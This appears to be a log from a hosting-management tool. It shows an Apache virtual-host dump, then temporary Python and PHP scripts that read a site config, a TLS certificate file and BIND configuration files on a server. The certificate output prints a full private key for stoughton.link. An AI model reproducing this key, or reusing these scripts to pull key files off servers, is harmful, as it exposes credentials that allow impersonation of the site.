         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-25 12:55:36: 

PUT: /tmp/pkp258851

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/stoughton_www_link.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-25 12:55:36: 

chmod 755 /tmp/pkp258851; /tmp/pkp258851; rm /tmp/pkp258851

2026-02-25 12:55:36: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/stoughton_www_link.conf	1743
<VirtualHost *:80>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    
</VirtualHost>







2026-02-25 12:55:36: 

PUT: /tmp/pkp400006

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-25 12:55:36: 

chmod 755 /tmp/pkp400006; /tmp/pkp400006; rm /tmp/pkp400006

2026-02-25 12:55:36: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt	5356
2c:b7:f6:c7:4c:d7:71:35:d7:16:3e:29:f5:af:48:16

-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBZ+cFBcYSemFdyAQGbn1QeAQMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjI1MTE1NzAzWhcNMjYwNTI2MTE1NzAyWjAZMRcwFQYDVQQD
Ew5zdG91Z2h0b24ubGluazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ALaV7SHPfsnbfLGqWec8Ao57CSJNytOAo72/pcLCqFv7eiJ9HYap2d9mEuZ41ACR
bw1IGvyzf1zF/ZS/DAp2UXLFI6guQ/hZssmsHI9vlAB9oLCKqyRWH+HxVI5lrgqn
uzaJN1WKKD4m+m54HhqyYtDPFf8GiGLj0kG5e5nxL+NemkK0Lqp+I47Q+WVSD+Kv
GZKZLpGaIl4Qy7/hPdGkXaKOLmAeZzdA03Iy9Ipj5WhpXo/sGcR0yb28Mo2W0JmX
V82t8bqePBgaJGAFUnb7tW2qUSRfTrGh93kTgwT7nnT3qRHlHvSbwGkhJ/U3gyHX
//IO52yjgSzdqyFT1rGE/gMCAwEAAaOCAiYwggIiMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRm69XY
ZZdVQucyOy4wQRHdbF3LvDAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQOO9aS
MzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5j
ci5vcmcvMCsGA1UdEQQkMCKCECouc3RvdWdodG9uLmxpbmuCDnN0b3VnaHRvbi5s
aW5rMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6
Ly9yMTMuYy5sZW5jci5vcmcvMTcuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDw
AHYAFoMtq/CpJQ8P8DqlRf/Iv8gj0IdL9gQpJ/jnHzMT9foAAAGclN52rAAABAMA
RzBFAiA8LyOOwhuKUiW+32c18mPo/m5NcoW3JQe8uVvm8aALMgIhAMNYn8GVhkSO
ZPrJFnUsN/+JoZZgMLhNM2QGWNtP+vhuAHYASZybad4dfOz8Nt7Nh2SmuFuvCoeA
GdFVUvvp6ynd+MMAAAGclN5+YAAABAMARzBFAiAbg2CziGH63yNQPSOUFZ2tTrs+
rHcI4RVpHcqcK8niTgIhAKQKybiO0FuT+fGyhyz73gUJUYVBLwU112xK2jB1GIev
MA0GCSqGSIb3DQEBCwUAA4IBAQAL+696EsZk61B9FVnXuIOir086RMm6Pxjg2GmC
XyXcWxb1wZKftuNsuhLSncHq1VAYGc539lMwnOZR+xXmkN17WNVD3yqiECl84DEQ
5BhauSLlyNqKdFHDE7LiVEW1hC0Jcq/bMgDvjY8aLFIYtLKBFiXkrqFHNnPABEUQ
stycauQT1WFix1S6mUDNsxYwrxdc77ZdHqy/+9/PGdlu3OgJmbrgTTT79r50S1UV
Dzi8oj5Jg1snxAxmtGb0oXEv6qiRqmm16F6iUenMb31GuKkV2pwbJK6NqHxZvH4P
PPZm1lZcShYBBQZXUU8tXpH0gchrKD0mg4omHRG74mfXt4mF
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC2le0hz37J23yx
qlnnPAKOewkiTcrTgKO9v6XCwqhb+3oifR2GqdnfZhLmeNQAkW8NSBr8s39cxf2U
vwwKdlFyxSOoLkP4WbLJrByPb5QAfaCwiqskVh/h8VSOZa4Kp7s2iTdViig+Jvpu
eB4asmLQzxX/Bohi49JBuXuZ8S/jXppCtC6qfiOO0PllUg/irxmSmS6RmiJeEMu/
4T3RpF2iji5gHmc3QNNyMvSKY+VoaV6P7BnEdMm9vDKNltCZl1fNrfG6njwYGiRg
BVJ2+7VtqlEkX06xofd5E4ME+55096kR5R70m8BpISf1N4Mh1//yDudso4Es3ash
U9axhP4DAgMBAAECggEAON/p3nrSjVFj/bnJSHjOeRCFT1y5Hfn3x28P1OOq6wAi
UuTzUhPNjMOwhn9D1qt20sXPtkC5ny4DaBa8yvOBOoWDLmu++3kBcsW8nceNbDu1
1thTKD31r31rr/GnbaVC8WF7zZb8IyQkJU4gXoOLuWyQdwDTci5yO8vp3xGcr6+t
A5eq7Ysv1M/Ftj/kjWUIt869WwG/BeKjubw39VtRDydyjTjMLH9KCx3wQh7s/SFD
ZrganEIVhuXu8BCd3a0399QR4AYC5RSKjyTyzGZwlAslbDM8w0CU++6LrLNt8U2z
rosFvIXGs368ku+aIqwOHgVd4KxisOLSkogHZqb2JQKBgQDhE+M9S9AITW0zqjqA
G/OWlaPInhVIKhKQXTcX8MH/vFBMrJlhLq0KZObRfW3TBe0e2P/dQRLOSlKhbeWC
cB6ifKtrqZBYp/fs25IU+n+GT1vqHxxWnA8TY10NcspEWPsNrTxHknKgyUIzh5qv
OHo0yBQUAoj8efEmn58GY0TtrQKBgQDPq5Gz7UwbayDQbvwdIybnWtczGrMBfvF6
MBW27c2qBKhdBllSlk/y+yCEiWNbgvrY3fj95vYXAG0mLooWRflfzHEP6zjgfwg4
L5qMQKjW8viaexYgSblJKgb/K6nfhuB1/ts8jNjVK6TK/LsK0j8N3sB7+MgYDEwM
dK6gQYewbwKBgBB4oByQO70fzWoGfxl48i6G7OF1kCEj0w/1gl6iI9BPO6Eg0Gio
PcmQ8MNL5omW2W90eeT7KiEmlz1xCWauRc+mR/UtB381a5NNzjbyzfpKPHO5qx07
dm74yop9aAfwaw7pKowiT3kswUd8GPnRrD/IlI+ST+wKEHe/HqgdA6JRAoGAWR77
B2lV2QpvaaPHhEWao3zDj8Xsfj7ZKKPMHdYOBeG70zgvSxcAtnj5Koe/YP1j43/X
JDdi8toW/WTJk+dxrqARAVDj9svtXhdnzrrM+noJIFqkUzTwVCq6F/XIEApU965o
raKQR2NUdFxjdLBnqO8oUcuhK1jTpiDI9DNLJPcCgYEAjdKNf4tHcg1ZdLcAvHkv
yVSZfK/ZASLRYqjxRIVsqkrcPF4qFOqoKlt+dRttGsi3QOy8uuX25+LzPlkd1roe
oTzBleZ4Bm/TseETDTC+W5i5U1yIW9KQ4k8tZwKOngjeajdf4T9edzydJfydZzHa
fzSB3B5Xsu6tR5Gj10Os+Nk=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-02-26 13:36:27: Establishing a connection
2026-02-26 13:36:35: Establishing a connection
2026-02-26 13:36:35: 

PUT: /tmp/pkp389251

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-26 13:36:36: 

runuser -l bind -s /bin/bash -c '/tmp/pkp389251; rm /tmp/pkp389251'

2026-02-26 13:36:36: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
